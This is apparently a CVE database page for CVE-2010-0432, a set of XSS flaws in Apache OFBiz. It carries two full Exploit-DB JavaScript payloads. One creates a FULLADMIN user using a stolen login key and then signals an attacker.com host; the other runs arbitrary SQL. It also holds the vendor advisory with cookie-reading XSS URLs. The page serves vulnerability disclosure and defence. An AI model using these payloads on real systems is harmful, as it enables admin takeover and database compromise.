CVE-2010-0432
Notifications for a CVE
Stay informed of any changes for a specific CVE.
CVE Descriptions
Multiple cross-site scripting (XSS) vulnerabilities in the Apache Open For Business Project (aka OFBiz) 09.04 and earlier, as used in Opentaps, Neogia, and Entente Oya, allow remote attackers to inject arbitrary web script or HTML via (1) the productStoreId parameter to control/exportProductListing, (2) the partyId parameter to partymgr/control/viewprofile (aka partymgr/control/login), (3) the start parameter to myportal/control/showPortalPage, (4) an invalid URI beginning with /facility/control/ReceiveReturn (aka /crmsfa/control/ReceiveReturn or /cms/control/ReceiveReturn), (5) the contentId parameter (aka the entityName variable) to ecommerce/control/ViewBlogArticle, (6) the entityName parameter to webtools/control/FindGeneric, or the (7) subject or (8) content parameter to an unspecified component under ecommerce/control/contactus.
CVE Informations
Related Weaknesses
| Weakness Name | Source | |
|---|---|---|
| Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. |
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 4.3 | AV:N/AC:M/Au:N/C:N/I:P/A:N | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 12264
Publication date : 2010-04-15 22h00 +00:00
Author : Lucas Apa
EDB Verified : Yes
/*
Apache OFBiz FULLADMIN Creator PoC Payload.
CVE: CVE-2010-0432
By: Lucas Apa ( lucas -at- bonsai-sec.com ).
Bonsai Information Security
http://www.bonsai-sec.com/
*/
var username = 'bonsaiUser';
var password = 'bonsaiPass';
var nodes = document.getElementsByClassName('fieldWidth300');
for (var i=0; i<nodes.length; i++) {
if(/script/.test(nodes[i].children[0].innerHTML)){
nodes[i].parentNode.style.display = "none";
}
}
var xmlhttp=false;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
xmlhttp=false;
}
}
if (!xmlhttp && window.createRequest) {
try {
xmlhttp = window.createRequest();
} catch (e) {
xmlhttp=false;
}
}
xmlhttp.open("GET", "/myportal/control/main",true);
xmlhttp.send(null)
xmlhttp.onreadystatechange=function() {
if (xmlhttp.readyState==4) {
var text = xmlhttp.responseText;
var regex = /externalLoginKey=(.*?)\"/;
var externalKey = text.match(regex)[1];
xmlhttp2 = false;
try {
xmlhttp2 = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp2 = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp2 = false;
}
}
if (!xmlhttp2 && typeof XMLHttpRequest!='undefined') {
try {
xmlhttp2 = new XMLHttpRequest();
} catch (e) {
xmlhttp2=false;
}
}
if (!xmlhttp && window.createRequest) {
try {
xmlhttp2 = window.createRequest();
} catch (e) {
xmlhttp2=false;
}
}
var cookie = unescape(document.cookie);
xmlhttp2.open("POST",
"/webtools/control/scheduleService?externalLoginKey="+externalKey,true);
xmlhttp2.onreadystatechange=function() {
if (xmlhttp2.readyState==4) {
//alert(xmlhttp.responseText)
}
}
xmlhttp2.setRequestHeader("cookie", cookie);
xmlhttp2.setRequestHeader("content-type",
"application/x-www-form-urlencoded");
var
str1=(<r><![CDATA[POOL_NAME=pool&SERVICE_NAME=createUserLogin&_RUN_SYNC_=Y¤tPassword=]]></r>).toString();
var str2 = (<r><![CDATA[¤tPasswordVerify=]]></r>).toString();
var str3 =
(<r><![CDATA[&enabled=&externalAuthId=&partyId=&passwordHint=&requirePasswordChange=&userLoginId=]]></r>).toString();
var post_data = str1 + password + str2 + password + str3 + username;
xmlhttp2.send(post_data);
var xmlhttp3=false;
try {
xmlhttp3 = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp3 = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp3 = false;
}
}
if (!xmlhttp3 && typeof XMLHttpRequest!='undefined') {
try {
xmlhttp3 = new XMLHttpRequest();
} catch (e) {
xmlhttp3=false;
}
}
if (!xmlhttp3 && window.createRequest) {
try {
xmlhttp3 = window.createRequest();
} catch (e) {
xmlhttp3=false;
}
}
xmlhttp3.open("POST",
"/webtools/control/UpdateGeneric?entityName=UserLoginSecurityGroup&externalLoginKey="+externalKey,true);
xmlhttp3.onreadystatechange=function() {
if (xmlhttp3.readyState==4) {
if(/UserLoginSecurityGroup/.test(xmlhttp3.responseText)){
var xmlhttp4=false;
try {
xmlhttp4 = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp4 = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp4 = false;
}
}
if (!xmlhttp4 && typeof XMLHttpRequest!='undefined') {
try {
xmlhttp4 = new XMLHttpRequest();
} catch (e) {
xmlhttp4=false;
}
}
if (!xmlhttp4 && window.createRequest) {
try {
xmlhttp4 = window.createRequest();
} catch (e) {
xmlhttp4=false;
}
}
xmlhttp4.open("GET", "
http://www.attacker.com/successful-ofbiz-attack.php?done=yes",true);
xmlhttp4.send(null);
}
}
}
xmlhttp3.setRequestHeader("cookie",cookie);
xmlhttp3.setRequestHeader("content-type",
"application/x-www-form-urlencoded");
var str1 = (<r><![CDATA[UPDATE_MODE=CREATE&userLoginId=]]></r>).toString();
var str2 =
(<r><![CDATA[&groupId=FULLADMIN&fromDate=2000-02-01+1%3A38%3A44.252&thruDate=2020-02-27+1%3A38%3A49.268&lastUpdatedStamp=2010-02-11+1%3A38%3A56.724&lastUpdatedTxStamp=2010-02-04+1%3A39%3A0.260&createdStamp=2010-02-22+1%3A39%3A2.692&createdTxStamp=2010-02-28+1%3A39%3A6.548&Update=Crear]]></r>).toString();
var post_data2 = str1 + username + str2;
xmlhttp3.send(post_data2);
}
}
Exploit Database EDB-ID : 12263
Publication date : 2010-04-15 22h00 +00:00
Author : Lucas Apa
EDB Verified : Yes
/*
Apache OFBiz SQL Remote Execution PoC Payload.
CVE: CVE-2010-0432
By: Lucas Apa ( lucas -at- bonsai-sec.com ).
Bonsai Information Security
http://www.bonsai-sec.com/
*/
var cmd = 'command';
var xmlhttp=false;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}
if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
xmlhttp=false;
}
}
if (!xmlhttp && window.createRequest) {
try {
xmlhttp = window.createRequest();
} catch (e) {
xmlhttp=false;
}
}
xmlhttp.open("POST", "
https://192.168.225.135:8443/webtools/control/EntitySQLProcessor",true);
xmlhttp.onreadystatechange=function() {
if (xmlhttp2.readyState==4) {
//alert(xmlhttp.responseText)
}
}
var cookie = unescape(document.cookie);
xmlhttp.setRequestHeader("content-type",
"application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("cookie", cookie);
var str1 = (<r><![CDATA[submitButton=Enviar&sqlCommand=]]></r>).toString();
var str2 = (<r><![CDATA[&group=org.ofbiz&rowLimit=200]]></r>).toString();
var post_data = str1+cmd+str2;
xmlhttp.send(post_data);
Exploit Database EDB-ID : 12330
Publication date : 2010-04-20 22h00 +00:00
Author : Lucas Apa
EDB Verified : Yes
Bonsai Information Security - Advisory
http://www.bonsai-sec.com/research/
Multiple XSS in Apache OFBiz
1. *Advisory Information*
Title: Multiple XSS in Apache OFBiz
Advisory ID: BONSAI-2010-0103
Advisory URL: http://www.bonsai-sec.com/research/vulnerabilities/apacheofbiz-multiple-xss-0103.php
Date published: 2010-04-13
Vendors contacted: Apache Software Foundation
Release mode: Coordinated release
2. *Vulnerability Information*
Class: Multiple Cross Site Scripting (XSS)
Remotely Exploitable: Yes
Locally Exploitable: Yes
CVE Name: CVE-2010-0432
3. *Software Description*
Apache Open For Business (Apache OFBiz) is a community-driven
Open Source Enterprise Resource Planning (ERP) system.
It provides a suite of enterprise applications that integrate
and automate many of the business processes of an enterprise.
Apache OFBiz is a foundation and starting point for reliable,
secure and scalable enterprise solutions.
OFBiz is an Apache Software Foundation top level project.
4. *Vulnerability Description*
Cross-Site Scripting attacks are a type of injection problem, in which
malicious scripts are injected into the otherwise benign and trusted web sites.
Cross-site scripting (XSS) attacks occur when an attacker uses a web
application to send malicious code, generally in the form of a browser side
script, to a different end user. Flaws that allow these attacks to succeed are
quite widespread and occur anywhere a web application uses input from a user
in the output it generates without validating or encoding it.
This vulnerability can be exploited to force a logged in Administrator
to run arbitrary SQL commands [3] or create a new user with Full Privileges [4].
You can find customized XSS PoC payloads here.
For additional information and a demonstrative video, please read [1] and [2].
5. *Vulnerable packages*
Apache OFBiz:
- Stable Version <= 9.04
- SVN Revision <= 920371
- Release Branch Candidate 4.0 Revision <= 920381
Products based on Apache OFBiz:
- Opentaps Version <= 1.4
- Neogia Version <= 1.0
- Entente Oya Version <= 1.6
Since there are more products based on Apache OFBiz, these vulnerabilities resides
in some of them but unconfirmed. Check [2] for updates.
6. *Mitigation*
SVN Trunk users should update to at least revision 920372
from svn or apply the following patches [5].
Release Branch Candidate 09.04 should update to at least revision 920382
from svn or applythe following patches [6].
Apache Software Foundation developers informed us that all users should
upgrade to the latest version of Apache OFBiz, which fixes this vulnerability.
More information to be found here:
http://ofbiz.apache.org
7. *Credits*
These vulnerabilities were discovered by Lucas Apa ( lucas -at- bonsai-sec.com ).
8. *Technical Description*
8.1 A Reflected Cross Site Scripting vulnerability was found in the
"productStoreId" variable within the 'Export Product Listing' section.
When rendering menu widget item links of type hidden-form, the hidden
input value attributes were not being html encoded. In many cases these
hidden input values are derived from request parameters and could be used
in a Reflected Cross-Site Scripting attack.
For a page that contains a menu widget with the following menu item definition:
<menu-item name="ebayExportAllCategoryToEbayStore" title="${uiLabelMap.EbayExportAllCategoryToEbayStore}">
<link target="exportCategoryEbayStore">
<parameter param-name="productStoreId" value="${parameters.productStoreId}"/>
</link>
</menu-item>
The vulnerability can be triggered by clicking on the
following URL:
https://www.ofbiz-example.com/ebaystore/control/exportProductListing?productStoreId=90100"
style="width:100%25;height:100%25;display:block;position:absolute;top:0px;left:0px"
onMouseOver="alert(document.cookie)
8.2 A Reflected Cross Site Scripting vulnerability was found in the
"partyId" variable within the 'View Profile' section.
This is because the application does not properly sanitise
the users input. The vulnerability can be triggered by clicking on the
following URL:
https://www.ofbiz-example.com/partymgr/control/viewprofile?&partyId=aa"
style="width:100%25;height:100%25;display:block;position:absolute;top:0px;left:0px"
onMouseOver="alert(document.cookie)
https://www.neogia-example.com/partymgr/control/login;partyId=aa"
style="width:100%25;height:100%25;display:block;position:absolute;top:0px;left:0px"
onMouseOver="alert(document.cookie)
https://www.opentaps-example.com/partymgr/control/viewprofile?partyId=aa"
style="width:100%25;height:100%25;display:block;position:absolute;top:0px;left:0px"
onMouseOver="alert(document.cookie)
8.3 A Reflected Cross Site Scripting vulnerability was found in the
"start" variable within the 'Show Portal Page' section.
During page rendering, if a FreeMarker TemplateException is thrown
then the stack trace is printed directly into the response and the
exception messages may contain un-sanitized user input which can expose
a Reflected Cross-Site Scripting vulnerability.
For any page rendered via a FreeMarker template that contains:
${screens.render(screenLocation, screenName)}
(or a similar screens.render(…) call)
The vulnerability can be triggered by clicking on the
following URL:
https://www.ofbiz-example.com/myportal/control/showPortalPage?period=week
&start=1266796800000\<script>alert(document.cookie)</script>
8.4 A 404-based Reflected Cross Site Scripting vulnerability was found
on the whole application.
When using the ControlServlet, if an invalid request URI is supplied then
the 404 error page displays the requested URI without first sanitizing it.
The vulnerability can be triggered by clicking on the
following URL:
https://www.ofbiz-example.com/facility/control/ReceiveReturn"<b><body onLoad="alert(document.cookie)"><br><div>><!--
https://www.neogia-example.com/facility/control/ReceiveReturn"<b><body onLoad="alert(document.cookie)"><br><div>><!--
http://www.opentaps-example.com/crmsfa/control/ReceiveReturn"<b><body onLoad="alert(document.cookie)"><br><div>><!--
https://www.ententeoya-example.com/cms/control/ReceiveReturn"<b><body onLoad="alert(document.cookie)"><br><div>><!--
8.5 A Reflected Cross Site Scripting vulnerability was found
on the ecommerce section specifically in the 'entityName' variable.
The vulnerability can be triggered by clicking on the
following URL:
http://www.ofbiz-example.com/ecommerce/control/ViewBlogArticle?contentId=BLG10000\<script>
alert(document.cookie)</script>&blogContentId=BLOGROOTBIGAL
http://www.opentaps-example.com/ecommerce/control/ViewBlogArticle?contentId=BLG10000\<script>
alert(document.cookie)</script>&blogContentId=BLOGROOTBIGAL
8.6 A Reflected Cross Site Scripting vulnerability was found in the
"entityName" variable within the 'Web Tools' section.
This is because the application fails to correctly sanitize
multiple form widget controls data before rendering it.
The vulnerability can be triggered by clicking on the
following URL:
https://www.ofbiz-example.com/webtools/control/FindGeneric?entityName=AccommodationClass\<script>
alert(document.cookie)</script>&find=true&VIEW_SIZE=50&VIEW_INDEX=0
8.7 A Persistant Cross Site Scripting vulnerability was found in almost
every user controlled parameters within the application.
This is because the application does not properly sanitise
the users input. An example of this vulnerability can be triggered by
following these steps.
i) A logged in user sends the following string on 'subject' or 'content'
parameters within the 'ecommerce/control/contactus' section.
<script>alert(document.cookie)</script>
ii) A logged in Administrator browses 'Other Party Comms' section.
iii) The browser executes the JavaScript on every future Other Party Comms load.
9. *Report Timeline*
- 2010-02-17:
Vulnerabilities were identified.
- 2010-02-23:
Vendor contacted.
- 2010-02-24:
Other products based on Ofbiz contacted. No specific answer given
- 2010-02-27:
Vendor confirms this issue and inform us a fix will be available soon.
- 2010-03-08:
Vendor fixed this issue.
- 2010-03-09:
Other products based on Ofbiz contacted again for an approximate fix release date. No answer.
- 2010-03-12:
Other products based on Ofbiz contacted. No answer.
- 2010-04-13:
The advisory BONSAI-2010-0103 is published.
10. *References*
[0] http://ofbiz.apache.org/
[1] http://www.owasp.org/index.php/Cross_site_scripting
[2] http://www.bonsai-sec.com/en/research/vulnerabilities/ofbizexploiter.php
[3] http://www.bonsai-sec.com/en/research/vulnerabilities/create-user-xss-payload.js
[4] http://www.bonsai-sec.com/en/research/vulnerabilities/sql-exec-xss-payload.js
[5] http://svn.apache.org/viewvc?rev=920369&view=rev
http://svn.apache.org/viewvc?rev=920370&view=rev
http://svn.apache.org/viewvc?rev=920371&view=rev
http://svn.apache.org/viewvc?rev=920372&view=rev
[6] http://svn.apache.org/viewvc?rev=920379&view=rev
http://svn.apache.org/viewvc?rev=920380&view=rev
http://svn.apache.org/viewvc?rev=920381&view=rev
http://svn.apache.org/viewvc?rev=920382&view=rev
[7] http://www.bonsai-sec.com/blog
11. *About Bonsai*
Bonsai is a company involved in providing professional computer information security services.
Currently a sound growth company, since its foundation in early 2009 in Buenos Aires, Argentina,
we are fully committed to quality service, and focused on our customers' real needs.
12. *Disclaimer*
The contents of this advisory are copyright (c) 2010 Bonsai Information Security, and may be
distributed freely provided that no fee is charged for this distribution and proper credit is
given.
Products Mentioned
Configuraton 0
Apache>>Ofbiz >> Version To (including) 09.04
- Apache>>Ofbiz >> Version - (Open CPE detail)
- Apache>>Ofbiz >> Version 9.04 (Open CPE detail)
- Apache>>Ofbiz >> Version 09.04 (Open CPE detail)
References
http://www.bonsai-sec.com/en/research/vulnerabilities/apacheofbiz-multiple-xss-0103.php
Tags : x_refsource_MISC
Tags : x_refsource_MISC
